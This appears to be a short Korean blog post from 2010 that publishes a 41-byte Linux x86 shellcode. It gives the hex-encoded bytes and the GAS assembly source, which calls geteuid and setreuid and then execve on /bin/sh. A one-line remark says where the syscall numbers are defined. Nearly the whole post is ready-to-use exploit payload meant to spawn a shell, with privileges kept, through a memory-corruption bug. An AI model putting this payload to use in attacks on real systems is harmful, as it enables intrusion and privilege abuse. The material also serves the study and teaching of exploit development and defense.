Linux-x86 /bin/sh 쉘코드 (41바이트)

2010/03/21 21:35

/*
\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
*/

.globl main

main:
xor %eax, %eax
mov $0x31, %al
int $0x80 # geteuid()

mov %eax, %ecx
mov %eax, %ebx
xor %eax, %eax
mov $0x46, %al
int $0x80 # setreuid(%eax, %eax)

xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
xor %edx, %edx
mov $0xb, %al
int $0x80 # execve("/bin/sh", "/bin/sh", NULL)


예전에 gas로 작성했던 쉘코드입니다. system call 함수의 번호는 /usr/include/asm/unistd_32.h 에서 확인할 수 있습니다.
크리에이티브 커먼즈 라이센스
Creative Commons License

6l4ck3y3 0x03 Linux RCE , , , ,

Trackback Address:이 글에는 트랙백을 보낼 수 없습니다